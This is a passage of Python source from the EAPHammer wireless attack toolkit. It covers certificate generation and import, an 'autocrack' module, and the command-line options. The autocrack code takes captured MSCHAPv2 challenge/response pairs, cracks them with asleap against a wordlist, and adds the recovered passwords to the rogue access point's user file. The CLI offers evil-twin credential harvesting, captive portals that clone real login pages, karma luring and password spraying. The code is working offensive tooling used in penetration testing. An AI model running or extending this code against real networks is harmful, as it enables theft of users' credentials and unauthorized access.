passwd=signing_key_passwd, ) print('[CW] Complete!') print('[CW] Creating server private key...') server_key_pair = cert_utils.create_key_pair(key_length) print('[CW] Complete!') print('[CW] Using server private key to create CSR...') req = cert_utils.create_csr( server_key_pair, cn, country=country, state_province=state_province, city=city, organization=organization, org_unit=org_unit, email_address=email_address, not_before=not_before, not_after=not_after, algorithm=algorithm, ) print('[CW] Complete!') print('[CW] Creating server cert using CSR and signing it with CA key...') server_cert = cert_utils.create_server_cert(req, ca_cert, ca_key, not_before=not_before, not_after=not_after, algorithm=algorithm) print('[CW] Complete!') print('[CW] Writing server cert and key pair to disk...') full_chain = [ server_key_pair, server_cert, ca_cert ] full_chain_path = cert_utils.write_full_chain_pem(full_chain) print('[CW] Complete!') print('[CW] Activating full certificate chain...') cert_utils.activate_fullchain(full_chain_path) print('[CW] Complete!') return full_chain_path def interactive(): while True: print('[*] Please enter two letter country ' 'code for certs (i.e. US, FR)') country = input(': ').upper() if len(country) == 2: break print('[!] Invalid input.') print('[*] Please enter state or province for ' 'certs (i.e. Ontario, New Jersey)') state_province = input(': ') print('[*] Please enter locale for certs (i.e. London, Hong Kong)') city = input(': ') print('[*] Please enter organization for certs (i.e. Evil Corp)') organization = input(': ') print('[*] Please enter org unit for certs (i.e. Hooman Resource Says)') org_unit = input(': ') print('[*] Please enter email for certs (i.e. cyberz@h4x0r.lulz)') email_address = input(': ') print('[*] Please enter common name (CN) for certs.') cn = input(': ') return bootstrap( cn, country=country, state_province=state_province, city=city, organization=organization, org_unit=org_unit, email_address=email_address, not_before=0, key_length=cert_utils.DEFAULT_KEY_LEN, not_after=cert_utils.DEFAULT_EXP, algorithm=cert_utils.DEFAULT_ALGORITHM, ) def rebuild_dh_file(length): openssl_bin = settings.dict['paths']['openssl']['bin'] dh_file = settings.dict['paths']['certs']['dh'] length = length print('\n[*] Rebuilding DH parameters file with length of {}...\n'.format(length)) os.system('{} dhparam -out {} {}'.format(openssl_bin, dh_file, length)) print('\ncomplete!\n') eaphammer-1.14.0/cert_wizard/importer/000077500000000000000000000000001451032113400177045ustar00rootroot00000000000000eaphammer-1.14.0/cert_wizard/importer/__init__.py000066400000000000000000000000001451032113400220030ustar00rootroot00000000000000eaphammer-1.14.0/cert_wizard/importer/cases.py000066400000000000000000000130131451032113400213520ustar00rootroot00000000000000import cert_wizard.importer.validators as validators from cert_wizard import cert_utils def combined_ca_and_server_separate_key(server_cert_path, private_key_path, passwd=None): # case 6 print('[CW] Checking to ensure private key and server cert are valid...') validators.combined_ca_and_server_separate_key( server_cert_path, private_key_path, ) print('[CW] Complete!') print('[CW] Loading private key from {}'.format(private_key_path)) private_key = cert_utils.load_private_key_from_pem( private_key_path, passwd=passwd, ) print('[CW] Complete!') print('[CW] Loading full certificate chain from {}'.format(server_cert_path)) full_chain_certs = cert_utils.load_certs_from_file(server_cert_path) full_chain = [ private_key ] + [ cert for cert in full_chain_certs ] print('[CW] Complete!') print('[CW] Writing private key and full certificate chain to file...') full_chain_path = cert_utils.write_full_chain_pem(full_chain) print('[CW] Complete!') print('[CW] Private key and full certificate chain written to: {}'.format(full_chain_path)) return full_chain_path def combined_ca_and_server_integrated_key(server_cert_path, passwd=None): # case 4 - key above # case 5 - key below print('[CW] Checking to ensure private key and server cert are valid...') validators.combined_ca_and_server_integrated_key(server_cert_path) print('[CW] Complete!') print('[CW] Loading private key from {}'.format(server_cert_path)) private_key = cert_utils.load_private_key_from_pem( server_cert_path, passwd=passwd, ) print('[CW] Complete!') print('[CW] Loading full certificate chain from {}'.format(server_cert_path)) full_chain_certs = cert_utils.load_certs_from_file(server_cert_path) full_chain = [ private_key ] + [ cert for cert in full_chain_certs ] print('[CW] Complete!') print('[CW] Writing private key and full certificate chain to file...') full_chain_path = cert_utils.write_full_chain_pem(full_chain) print('[CW] Complete!') print('[CW] Private key and full certificate chain written to: {}'.format(full_chain_path)) return full_chain_path def separate_ca_and_server_integrated_key(server_cert_path, ca_cert_path, passwd=None): # case 2 - key above # case 3 - key below print('[CW] Checking to ensure server and CA cert are valid...') validators.separate_ca_and_server_integrated_key( server_cert_path, ca_cert_path, ) print('[CW] Complete!') # extract server cert and private key from server cert print('[CW] Loading private key and server cert from {}'.format(server_cert_path)) server_cert = cert_utils.load_cert_from_pem(server_cert_path) private_key = cert_utils.load_private_key_from_pem( server_cert_path, passwd=passwd, ) print('[CW] Complete!') print('[CW] Loading CA certificate chain from {}'.format(ca_cert_path)) ca_cert_chain = cert_utils.load_pems_from_file(ca_cert_path, passwd=passwd) print('[CW] Complete!') print('[CW] Constructing full certificate chain with integrated key...') full_chain = [private_key, server_cert] + [cert for cert in ca_cert_chain] print('[CW] Complete!') print('[CW] Writing private key and full certificate chain to file...') full_chain_path = cert_utils.write_full_chain_pem(full_chain) print('[CW] Complete!') print('[CW] Private key and full certificate chain written to: {}'.format(full_chain_path)) return full_chain_path def all_separate(server_cert_path, private_key_path, ca_cert_path, passwd=None): print('Case 1: Import all separate') print('[CW] Ensuring server cert, CA cert, and private key are valid...') validators.all_separate( server_cert_path, private_key_path, ca_cert_path, ) print('[CW] Complete!') print('[CW] Loading private key from {}'.format(private_key_path)) private_key = cert_utils.load_private_key_from_pem( private_key_path, passwd=passwd, ) print('[CW] Complete!') print('[CW] Loading server cert from {}'.format(server_cert_path)) server_cert = cert_utils.load_cert_from_pem(server_cert_path) print('[CW] Complete!') print('[CW] Loading CA certificate chain from {}'.format(ca_cert_path)) ca_cert_chain = cert_utils.load_pems_from_file(ca_cert_path, passwd=passwd) print('[CW] Complete!') print('[CW] Constructing full certificate chain with integrated key...') full_chain = [private_key, server_cert] + [cert for cert in ca_cert_chain] print('[CW] Complete!') print('[CW] Writing private key and full certificate chain to file...') full_chain_path = cert_utils.write_full_chain_pem(full_chain) print('[CW] Complete!') print('[CW] Private key and full certificate chain written to: {}'.format(full_chain_path)) return full_chain_path eaphammer-1.14.0/cert_wizard/importer/validators.py000066400000000000000000000115571451032113400224370ustar00rootroot00000000000000from cert_wizard import cert_utils import sys def validation_error(message, abort=True): print('[CW] Error: {}'.format(message)) if abort: print('[CW] Aborting.') sys.exit(1) def combined_ca_and_server_separate_key(server_cert_path, private_key_path): # server cert should have at least one cert in it cert_count = cert_utils.count_certs_in_file(server_cert_path) if cert_count == 0: validation_error('no certs detected in server cert file') # server cert should not have any private keys in it key_count = cert_utils.count_keys_in_file(server_cert_path) if key_count > 0: validation_error(('server cert file should not contain ' 'any private keys if a separate private ' 'key file is provided')) # the private key file should have a single key in it and # no certs of any kind key_count = cert_utils.count_keys_in_file(private_key_path) if key_count == 0: validation_error('no private keys found in private key file.') if key_count > 1: validation_error('multiple private keys found in private key file.') if cert_utils.count_certs_in_file(private_key_path) > 0: validation_error('certificates found in private key file.') def combined_ca_and_server_integrated_key(server_cert_path): # the server cert should have exactly one private key in it key_count = cert_utils.count_keys_in_file(server_cert_path) if key_count == 0: validation_error(('no keys found in server cert file, ' 'but no private key file specified')) if key_count > 1: validation_error('too many keys found in server cert file') # the server cert should have at least one cert in it cert_count = cert_utils.count_certs_in_file(server_cert_path) if cert_count == 0: validation_error('no certs detected in server cert file') def separate_ca_and_server_integrated_key(server_cert_path, ca_cert_path): # server cert should contain a single private key key_count = cert_utils.count_keys_in_file(server_cert_path) if key_count == 0: validation_error(('no keys found in server cert file, ' 'but no private key file specified')) if key_count > 1: validation_error('too many keys found in server cert file') # the server cert file should have a single cert in it if a separate # CA file was provided by the user cert_count = cert_utils.count_certs_in_file(server_cert_path) if cert_count > 1: validation_error(('certificate chain detected in server cert file, ' 'yet separate CA cert file was provided')) if cert_count == 0: validation_error('no certs detected in server cert file') # the ca cert file should not have any private keys in it if cert_utils.count_keys_in_file(ca_cert_path) > 0: validation_error('private keys found in CA cert file.') # the ca cert file should have at least one certificate in it if cert_utils.count_certs_in_file(ca_cert_path) == 0: validation_error('no certs found in CA cert file.') def all_separate(server_cert_path, private_key_path, ca_cert_path): print(server_cert_path) print(private_key_path) print(ca_cert_path) # there should be no extra private keys lingering # in the server cert file if a private key was provided by the user. if cert_utils.count_keys_in_file(server_cert_path) > 0: validation_error(('server cert file should not contain any private ' 'keys if a separate private key file is provided')) # the server cert file should have a single PEM in it if a separate # CA file was provided by the user cert_count = cert_utils.count_certs_in_file(server_cert_path) if cert_count > 1: validation_error(('certificate chain detected in server cert file, ' 'yet separate CA cert file was provided')) if cert_count == 0: validation_error('no certs detected in server cert file') # the private key file should have a single key in it and # no certs of any kind key_count = cert_utils.count_keys_in_file(private_key_path) if key_count == 0: validation_error('no private keys found in private key file.') if key_count > 1: validation_error('multiple private keys found in private key file.') if cert_utils.count_certs_in_file(private_key_path) > 0: validation_error('certificates found in private key file.') # the ca cert file should not have any private keys in it if cert_utils.count_keys_in_file(ca_cert_path) > 0: validation_error('private keys found in CA cert file.') # the ca cert file should have at least one certificate in it if cert_utils.count_certs_in_file(ca_cert_path) == 0: validation_error('no certs found in CA cert file.') eaphammer-1.14.0/certs/000077500000000000000000000000001451032113400146465ustar00rootroot00000000000000eaphammer-1.14.0/certs/active/000077500000000000000000000000001451032113400161215ustar00rootroot00000000000000eaphammer-1.14.0/certs/active/stub000066400000000000000000000000001451032113400170070ustar00rootroot00000000000000eaphammer-1.14.0/certs/ca/000077500000000000000000000000001451032113400152315ustar00rootroot00000000000000eaphammer-1.14.0/certs/ca/stub000066400000000000000000000000001451032113400161170ustar00rootroot00000000000000eaphammer-1.14.0/certs/server/000077500000000000000000000000001451032113400161545ustar00rootroot00000000000000eaphammer-1.14.0/certs/server/stub000066400000000000000000000000001451032113400170420ustar00rootroot00000000000000eaphammer-1.14.0/core/000077500000000000000000000000001451032113400144565ustar00rootroot00000000000000eaphammer-1.14.0/core/__init__.py000066400000000000000000000004401451032113400165650ustar00rootroot00000000000000from . import conf_manager from . import utils from . import responder from . import payloads from . import autocrack from . import services from . import cli from . import interface from . import iw_parse from . import wskeyloggerd from . import portal_server from . import module_maker eaphammer-1.14.0/core/autocrack.py000066400000000000000000000064461451032113400170160ustar00rootroot00000000000000''' Heavily inspired by Sensepost's crackapd. Go check them out, they did it first: github.com/sensepost/hostapd-mana ''' import os import errno import time import subprocess import select import json import core.utils import re from multiprocessing import Process from settings import settings remote_rig = False ASLEAP_CMD = 'asleap -C %s -R %s -W %s | grep -v asleap | grep password' EAP_USERS_ENTRY = '"%s"\tTTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2\t"%s"\t[2]' challenge_pattern = re.compile("^([0-9A-Fa-f]{2}[:]){7}([0-9A-Fa-f]{2})$") response_pattern = re.compile("^([0-9A-Fa-f]{2}[:]){23}([0-9A-Fa-f]{2})$") def crack_locally(username, challenge, response, wordlist): cmd = ASLEAP_CMD % (challenge, response, wordlist) output = subprocess.check_output(cmd, shell=True).decode('utf-8') try: password = output.split('password:')[1].strip() append2eap_users(username, password) except IndexError: print('\n\n[autocrack] {}\n'.format(output.strip())) def append2eap_users(username, password): # create new entry for eap_users file line = EAP_USERS_ENTRY % (username, password) # append the entry to the file with open(settings.dict['paths']['hostapd']['eap_user'], 'a') as fd: fd.write('%s\n' % line) def run_autocrack(wordlist): try: os.mkfifo(settings.dict['paths']['hostapd']['fifo']) except OSError as e: if e.errno != errno.EEXIST: raise # this is basically a primative event loop while True: print(settings.dict['paths']['hostapd']['fifo']) with open(settings.dict['paths']['hostapd']['fifo']) as fifo: print('[fifo reader] FIFO opened') while True: data = fifo.read() if len(data) == 0: print('[fifo reader] writer closed') break print('[fifo reader] received data from writer:', data) data = data.strip().split('|') username = data[0] challenge = data[1] response = data[2] if remote_rig: pass elif re.match(challenge_pattern, challenge) and re.match(response_pattern, response): crack_locally(username, challenge, response, wordlist) else: print('[autocrack] invalid input: {}'.format(data)) class Autocrack(object): instance = None @staticmethod def get_instance(): if Autocrack.instance is None: instance = Autocrack() return instance def configure(self, wordlist=None): assert wordlist is not None self.wordlist = wordlist self.fifo_path = settings.dict['paths']['hostapd']['fifo'] print('[8] Using wordlist:', self.wordlist) @staticmethod def _start(args): run_autocrack(args['wordlist']) def start(self): args = { 'wordlist' : self.wordlist, } self.proc = Process(target=self._start, args=(args,)) self.proc.daemon = True self.proc.start() time.sleep(1) def stop(self): self.proc.terminate() self.proc.join() eaphammer-1.14.0/core/cli.py000066400000000000000000001562271451032113400156140ustar00rootroot00000000000000import argparse import os import sys from settings import settings from cert_wizard import cert_utils # Python3 FTW from pathlib import Path BASIC_OPTIONS = [ 'cert_wizard', 'list_templates', 'reap_creds', 'capture_wpa_handshakes', 'psk_capture_file', 'pmkid', 'mac_whitelist', 'mac_blacklist', 'ssid_whitelist', 'ssid_blacklist', 'hostile_portal', 'dl_form_message', 'captive_portal', 'payload', 'debug', 'interface', 'essid', 'bssid', 'pmf', 'owe_transition_bssid', 'add_download_form', 'owe_transition_ssid', 'portal_user_template', 'channel', 'hw_mode', 'cloaking', 'auth', 'lhost', 'lport', 'karma', 'mana', 'essid_stripping', 'loud', 'create_template', 'delete_template', 'name', 'description', 'author', 'known_beacons', 'channel_width', 'auth_alg', 'wpa_version', 'wpa_passphrase', 'autocrack', 'remote_rig', 'wordlist', 'pivot', 'captive_portal_server_only', 'eap_spray', 'password', 'interface_pool', 'user_list', 'bootstrap', 'known_ssids_file', 'known_ssids', 'negotiate', ] ROGUE_AP_ATTACKS = [ 'hostile_portal', 'captive_portal', 'reap_creds', ] def suppress_banner(): version_flag_found = False help_flag_found = False for arg in sys.argv: if arg.strip() in ['--help', '-h', '-hh']: return False if arg.strip() in ['--version', '-V']: version_flag_found = True if version_flag_found: # and help_flag_found == False return True else: return False def set_options(): parser = argparse.ArgumentParser() modes_group = parser.add_argument_group('Modes') modes_group_ = modes_group.add_mutually_exclusive_group() modes_group_.add_argument('--version', '-V', dest='mode_show_version', action='store_true', help='Print version info') modes_group_.add_argument('--cert-wizard', dest='cert_wizard', choices=[ 'create', 'import', 'interactive', 'list', 'dh', ], default=False, nargs='?', const='interactive', help='Use this flag to run in Cert Wizard mode. ' 'Use "--cert-wizard create" to create ' 'a new certificate. Use "--cert-wizard ' 'interactive" or simply "--cert-wizard" ' 'to run Cert Wizard in interactive mode. ' 'Use "--cert-wizard import" to import ' 'a set of certificates into eaphammer\'s ' 'static configuration. Use "--cert-wizard ' 'list" to list all previously imported ' 'certs, as well as the active cert ' 'configuration. Use "--cert-wizard dh" ' 'to manually regenerate eaphammer\'s dh ' 'parameters.') modes_group_.add_argument('--list-templates', dest='list_templates', action='store_true', help=('List available templates for the ' 'captive portal')) modes_group_.add_argument('--create-template', dest='create_template', action='store_true', help=('Create a template by cloaning ' 'a login page')) modes_group_.add_argument('--delete-template', dest='delete_template', action='store_true', help=('Delete a captive portal template.')) modes_group_.add_argument('--bootstrap', dest='bootstrap', action='store_true', help=('Shorthand for "--cert-wizard create ' '--self-signed"')) modes_group_.add_argument('--creds', '--brad', dest='reap_creds', action='store_true', help='Harvest EAP creds using evil twin attack') modes_group_.add_argument('--pmkid', dest='pmkid', action='store_true', help=('Perform clientless attack against PSK ' 'network using ZerBea\'s hcxtools.')) modes_group_.add_argument('--troll-defender', dest='troll_defender', action='store_true', help=('Trigger Windows Defender on nearby ' 'devices by spawning an AP with SSID ' 'set to C:\Temp\Invoke-Mimikatz.ps1')) modes_group_.add_argument('--eap-spray', dest='eap_spray', action='store_true', help='Check for password reuse by spraying a ' 'single password across a series of ' 'usernames against target ESSID.') modes_group_.add_argument('--hostile-portal', dest='hostile_portal', action='store_true', help='Force clients to connect ' 'to hostile portal') modes_group_.add_argument('--captive-portal-server-only', dest='captive_portal_server_only', action='store_true', help='Run the captive portal server as a' 'standalone service.') modes_group_.add_argument('--captive-portal', dest='captive_portal', action='store_true', help='Force clients to connect ' 'to a captive portal') parser.add_argument('--manual-config', dest='manual_config', type=str, default=None, metavar='config_file', help='Bypass eaphammer\'s hostapd ' 'configuration manager and load ' 'your own hostapd.conf file instead.') parser.add_argument('--save-config', dest='save_config', action='store_true', default=None, help='Save hostapd config file on exist.') parser.add_argument('--save-config-only', dest='save_config_only', action='store_true', default=None, help='Don\'t actually run anything. Instead, ' 'just generate a hostapd config file using ' 'user supplied parameters then exit.') parser.add_argument('--debug', dest='debug', action='store_true', help='Enable debug output.') parser.add_argument('--advanced-help', '-hh', dest='advanced_help', action='store_true', help='Show extended help options then exit.') cert_wizard_group = parser.add_argument_group('Cert Wizard') cert_wizard_group.add_argument('--server-cert', dest='server_cert', default=None, type=str, help='Specify path to server cert file. ' 'Can be used with ' '"--cert-wizard import" to import ' 'a cert or cert chain, or with ' 'any attack to override eaphammer\'s ' 'static configuration. ' 'File must be in PEM format and may ' 'contain full certificate chain ' 'and/or private key. If file does ' 'not contain private key, the ' '--private-key flag should be used. ' 'Likewise, if the file does not ' 'contain a CA certificate chain, ' 'the --ca-cert flag should be used.') cert_wizard_group.add_argument('--ca-cert', dest='ca_cert', default=None, type=str, help='Specify path to ca cert file.') cert_wizard_group.add_argument('--private-key', dest='private_key', default=None, type=str, help='Specify path to private key file.') cert_wizard_group.add_argument('--private-key-passwd', dest='private_key_passwd', default=None, type=str, help='Specify private key password.') cert_wizard_group.add_argument('--self-signed', dest='self_signed', action='store_true', default=False, help=('Combine with "--cert-wizard create" ' 'to create a self-signed cert.')) cert_wizard_group.add_argument('--cn', dest='cn', default=None, type=str, help='Specify certificate CN when running ' '--bootstrap or ' '"--cert-wizard create".') cert_wizard_group.add_argument('--country', dest='country', default=None, type=str, help='Specify certificate country when ' 'running --bootstrap or ' '"--cert-wizard create".') cert_wizard_group.add_argument('--state', dest='state', default=None, type=str, help='Specify certificate state or province ' 'when running --bootstrap or ' '"--cert-wizard create".') cert_wizard_group.add_argument('--locale', dest='locale', default=None, type=str, help='Specify certificate locale (city) ' 'attribute when running --bootstrap or ' '"--cert-wizard create".') cert_wizard_group.add_argument('--org', dest='org', default=None, type=str, help='Specify certificate organization when ' 'running --bootstrap or ' '"--cert-wizard create".') cert_wizard_group.add_argument('--org-unit', dest='org_unit', default=None, type=str, help='Specify certificate org unit when ' 'running --bootstrap or ' '"--cert-wizard create".') cert_wizard_group.add_argument('--email', dest='email', default=None, type=str, help='Specify certificate emailAddress ' 'attribute when running --bootstrap or ' '"--cert-wizard create".') cw_advanced_group = parser.add_argument_group('Cert Wizard ' 'Advanced Options') cw_advanced_group.add_argument('--not-before', dest='not_before', default=0, type=int, help='Specify datetime on which ' 'cert should become active.') cw_advanced_group.add_argument('--not-after', dest='not_after', default=cert_utils.DEFAULT_EXP, type=int, help='Specify datetime on which cert ' 'should become active.') cw_advanced_group.add_argument('--algorithm', dest='algorithm', default=cert_utils.DEFAULT_ALGORITHM, type=str, help='Specify algorithm with ' 'which to sign cert.') cw_advanced_group.add_argument('--key-length', dest='key_length', default=cert_utils.DEFAULT_KEY_LEN, type=int, help='Specify default certificate ' 'key length.') cw_advanced_group.add_argument('--dh-file', dest='dh_file', default=None, type=str, help='Manually specify path ' 'to dh_file at runtime.') cw_advanced_group.add_argument('--ca-key', dest='ca_key', default=None, type=str, help='Specify path to CA private key file.') cw_advanced_group.add_argument('--ca-key-passwd', dest='ca_key_passwd', default=None, type=str, help='Specify CA key password.') access_point_group = parser.add_argument_group('Access Point') access_point_group.add_argument('--lhost', dest='lhost', type=str, default='10.0.0.1', required=False, help='Your AP\'s IP address') access_point_group.add_argument('-i', '--interface', dest='interface', default=None, type=str, help='The phy interface on which ' 'to create the AP') access_point_group.add_argument('-e', '--essid', dest='essid', default=None, type=str, help='Specify access point ESSID') access_point_group.add_argument('-b', '--bssid', dest='bssid', default=None, type=str, help='Specify access point BSSID') access_point_group.add_argument('-c', '--channel', dest='channel', type=int, default=None, help='Specify access point channel ' '(default: 1).') access_point_group.add_argument('--hw-mode', dest='hw_mode', type=str, default=None, help='Specify access point hardware mode ' '(defaults: g for 2.4GHz channels, ' 'a for 5GHz channels).') access_point_group.add_argument('--cloaking', dest='cloaking', choices=['none', 'full', 'zeroes'], default=None, help='Send empty SSID in beacons and ' 'ignore probe request ' 'frames that do not specify ' 'full SSID (i.e. require ' 'stations to know SSID). ' 'Choices: [1. none - do ' 'not use SSID cloaking. ] ' '[2. full - Send empty string' ' in beacon and ignore probe ' 'requests for broadcast ' 'SSID ] [3. zeroes - Replace ' 'all characters in SSID ' 'with ASCII 0 and ignore ' 'probe requests for ' 'broadcast SSID.]') access_point_group.add_argument('--auth', dest='auth', type=str, choices=[ 'open', 'wpa-psk', 'wpa-eap', 'owe', 'owe-transition', 'owe-psk', ], default=None, help='Specify authentication mechanism ' '(hostile and captive portal ' 'default: open )' '(creds default: wpa-eap).') access_point_group.add_argument('--pmf', dest='pmf', type=str, choices=['disable', 'enable', 'require'], default=None, help='Enable, disaable, or require the use of ' 'Protected Management Frames (PMF) ' '(802.11w) (default: disable) ' '(OWE default: require).') access_point_group.add_argument('--karma', '--mana', dest='karma', action='store_true', help='Enable karma.') access_point_group.add_argument('--essid-stripping', dest='essid_stripping', type=str, choices=['\\r', '\\n', '\\t', '\\x20'], default=None, help='Enable ESSID Stripping adding \\r.') access_point_group.add_argument('--mac-whitelist', dest='mac_whitelist', type=str, default=None, help='Enable MAC address whitelisting ' 'and specify path to whitelist ' 'file.') access_point_group.add_argument('--mac-blacklist', dest='mac_blacklist', type=str, default=None, help='Enable MAC address blacklisting ' 'and specify path to blacklist ' 'file.') access_point_group.add_argument('--ssid-whitelist', dest='ssid_whitelist', type=str, default=None, help='Enable MAC address whitelisting ' 'and specify path to whitelist ' 'file.') access_point_group.add_argument('--ssid-blacklist', dest='ssid_blacklist', type=str, default=None, help='Enable MAC address blacklisting ' 'and specify path to blacklist ' 'file.') karma_group = parser.add_argument_group('Karma Options') karma_group.add_argument('--loud', '--singe', dest='loud', action='store_true', help='Enable loud karma mode.') karma_group.add_argument('--known-beacons', dest='known_beacons', action='store_true', help='Enable persistent known beacons attack.') default_ssid_list = os.path.join( settings.dict['paths']['directories']['wordlists'], settings.dict['core']['eaphammer']['general']['default_ssid_list'], ) karma_group.add_argument('--known-ssids-file', dest='known_ssids_file', default=None, type=str, help='Specify the wordlist to use with ' 'the --known-beacons features.') karma_group.add_argument('--known-ssids', dest='known_ssids', nargs='+', default=None, type=str, help='Specify known ssids via the CLI') ap_advanced_subgroup = parser.add_argument_group('AP Advanced Options') ap_advanced_subgroup.add_argument('--wmm', dest='wmm', action='store_true', help='Enable wmm (further configuration ' 'of wmm performed in hostapd.ini)') ap_advanced_subgroup.add_argument('--driver', dest='driver', default=None, type=str, help='Specify driver.') ap_advanced_subgroup.add_argument('--beacon-interval', dest='beacon_interval', default=None, type=int, metavar='TUs', help='Send beacon packets every n ' 'Time Units (TUs). ' 'A single TU is equal to ' '1024 microseconds. ' '(default: 100)') ap_advanced_subgroup.add_argument('--dtim-period', dest='dtim_period', default=None, type=int, metavar='n', help='Transmit broadcast frames after ' 'every n beacons, ' 'where n is an integer between ' '1 and 255. (default: 1)') ap_advanced_subgroup.add_argument('--max-num-stations', dest='max_num_stations', default=None, type=int, help='The maximum number of ' 'stations that can ' 'connect to the AP at ' 'any one time. (default: 255)') ap_advanced_subgroup.add_argument('--rts-threshold', dest='rts_threshold', default=None, type=int, metavar='OCTETS', help='Sets the RTS threshold in ' 'octets. (default: 2347)') ap_advanced_subgroup.add_argument('--fragm-threshold', dest='fragm_threshold', default=None, type=int, metavar='OCTETS', help='Sets the fragmentation ' 'threshold in octets. ' '(default: 2346)') hwm80211n_subgroup = parser.add_argument_group( '802.11n Options', 'Used when --hw-mode is set to "n"', ) hwm80211n_subgroup.add_argument('--channel-width', dest='channel_width', type=int, choices=[20,40], default=None, metavar='MGhz', help='Set the channel width ' 'in MGHz (single 20 MGHz ' 'spatial stream or two 20 ' 'MGHz spatial streams ' 'totalling 40 MGHz). (default: 20)') hwm80211n_advanced_subgroup = parser.add_argument_group( '802.11n Advanced Options', ) hwm80211n_advanced_subgroup.add_argument('--smps', dest='smps', type=str, choices=['off','dynamic','static'], default=None, help='Spatial Multiplexing ' '(SM) Power Save') hwm80211n_advanced_subgroup.add_argument('--ht40', dest='ht40', type=str, choices=['plus', 'minus', 'auto'], default=None, help='Specifies whether the ' 'secondary channel should be ' 'higher (plus) or lower ' '(minus) than the primary ' 'channel. (default: auto)') hwm80211n_advanced_subgroup.add_argument('--max-spatial-streams', dest='max_spatial_streams', type=int, choices=[1,2,3], default=None, help='Specifies maximum ' 'number of spatial streams. ' '(default: 2)') hwm80211n_advanced_subgroup.add_argument('--obss-interval', dest='obss_interval', type=None, default=None, help='Look this up if you don\'t ' 'know what it does. You ' 'probably don\'t need ' 'it. (default: 0)') hwm80211n_advanced_subgroup.add_argument('--greenfield', dest='greenfield', action='store_true', help='Enable greenfield mode.') hwm80211n_advanced_subgroup.add_argument('--ht-delayed-block-ack', dest='ht_delayed_block_ack', action='store_true', help='Use HT Delayed Block ACK.') hwm80211n_advanced_subgroup.add_argument('--short-gi', dest='short_gi', action='store_true', help='Enable short GI (20 or 40 ' 'depending on channel width') hwm80211n_advanced_subgroup.add_argument('--lsig-txop-prot', dest='lsig_txop_prot', action='store_true', help='Enable L-SIG ' 'TXOP Protection support.') hwm80211n_advanced_subgroup.add_argument('--require-ht', dest='require_ht', action='store_true', help='Reject associations from ' 'clients that do ' 'not support HT.') hwm80211n_advanced_subgroup.add_argument('--dsss-cck-40', dest='dsss_cck_40', action='store_true', help='Enable DSSS/CCK Mode in 40MHz.') hwm80211n_advanced_subgroup.add_argument('--disable-tx-stbc', dest='disable_tx_stbc', action='store_true', help='Disable TX-STBC.') hwm80211n_advanced_subgroup.add_argument('--ldpc', dest='ldpc', action='store_true', help='Enable LDPC Coding capability.') hwm80211n_advanced_subgroup.add_argument('--use-max-a-msdu-length', dest='use_max_a_msdu_length', action='store_true', help='Set A-MSDU length to ' 'maximum allowable ' 'value (7935 octets). ' 'If not set, 3839 ' 'octets are used.') psk_group = parser.add_argument_group( 'WPA-PSK Options', 'Only applicable if --auth wpa-psk is used', ) psk_group.add_argument('--wpa-passphrase', dest='wpa_passphrase', type=str, default=None, help='Set WPA Passphrase for AP.') wpa_group = parser.add_argument_group( 'WPA Options', 'Only applicable if --auth wpa-psk or wpa-eap are used', ) wpa_group.add_argument('--capture-wpa-handshakes', dest='capture_wpa_handshakes', type=str, choices=['yes', 'no'], default=None, help='Capture 4-way WPA handshakes ' '(wpa-psk default: yes) ' '(wpa-eap and sae defaults: no)') wpa_group.add_argument('--psk-capture-file', dest='psk_capture_file', type=str, default=None, help='Path to which to write WPA handshake' 'files (default: automatically generated ' 'from nonce and current timestamp)') wpa_group.add_argument('--auth-alg', dest='auth_alg', type=str, choices=['shared', 'open', 'both'], default=None, help='Authentication type (open or shared key). ' '(default: shared)') wpa_group.add_argument('--wpa-version', dest='wpa_version', type=str, choices=['1', '2'], default=None, help='Set WPA version. (default: 2)') owe_transition_group = parser.add_argument_group( 'OWE Transition Mode Options', ('Only applicable if --auth ' 'owe-transition is used'), ) owe_transition_group.add_argument('--transition-bssid', dest='owe_transition_bssid', type=str, default=None, help='Set BSSID for OPEN AP') owe_transition_group.add_argument('--transition-ssid', dest='owe_transition_ssid', type=str, default=None, help='Set SSID for OPEN AP') eap_group = parser.add_argument_group( 'EAP Options', 'Only applicable if --auth wpa-eap is used', ) eap_group.add_argument('--autocrack', dest='autocrack', action='store_true', help='Enable autocrack \'n add.') eap_group.add_argument('--negotiate', dest='negotiate', choices=[ 'balanced', 'speed', 'weakest', 'gtc-downgrade', 'manual', ], type=str, default='balanced', help='Specify EAP negotiation approach.') eap_group.add_argument('--eap-user-file', dest='eap_user_file', default=None, type=str, help=('Manually specify path to ' 'eap_user_file (instead of ' 'using EAPHammer\'s accounting ' 'system)')) eap_group.add_argument('--phase-1-methods', dest='eap_methods_phase_1', default='PEAP,TTLS,TLS,FAST', type=str, help=('Manually specify EAP phase 1 methods for ' 'for wildcard user EAP negotiate.')) eap_group.add_argument('--phase-2-methods', dest='eap_methods_phase_2', default=('GTC,TTLS-PAP,MD5,TTLS-CHAP,' 'TTLS-MSCHAP,MSCHAPV2,' 'TTLS-MSCHAPV2,TTLS'), type=str, help=('Manually specify EAP phase 2 methods for ' 'for wildcard user EAP negotiate.')) eap_group.add_argument('--peap-version', dest='peap_version', choices=[1, 2], type=int, default=None, help='Specify EAP negotiation approach.') autocrack_group = parser.add_argument_group( 'Autocrack Options', 'Only applicable if --auth wpa-eap ' '--autocrack is used', ) autocrack_group.add_argument('--remote-cracking-rig', dest='remote_rig', type=str, metavar='server:port', help='Use remote cracking rig ' 'for autocrack feature.') default_wordlist = os.path.join( settings.dict['paths']['directories']['wordlists'], settings.dict['core']['eaphammer']['general']['default_wordlist'], ) eap_group.add_argument('--wordlist', dest='wordlist', default=default_wordlist, type=str, help='Specify the wordlist to use with ' 'the autocrack feature.') ctmp_group = parser.add_argument_group('Create / Delete Template Options', ('Only applicable if --create-template ' 'or --delete-template is used.')) ctmp_group.add_argument('--url', dest='url', type=str, default=None, required=False, help='Specify url from which to clone captive portal') ctmp_group.add_argument('--name', dest='name', type=str, default=None, required=False, help='Specify name of resulting portal template module') ctmp_group.add_argument('--description', dest='description', type=str, default='', required=False, help='Specify description of resulting portal template module') ctmp_group.add_argument('--author', dest='author', type=str, default='', required=False, help='Specify author of resulting portal template module') ctmp_group.add_argument('--add-download-form', dest='add_download_form', action='store_true', help='Add a download form to your captive portal.') ctmp_group.add_argument('--dl-form-message', dest='dl_form_message', type=str, default='Please download our secure profile to continue.', required=False, help='Specify download form text.') cptl_group = parser.add_argument_group('Captive Portal Options', 'Only applicable if --captive-portal is used') cptl_group.add_argument('--lport', dest='lport', type=int, 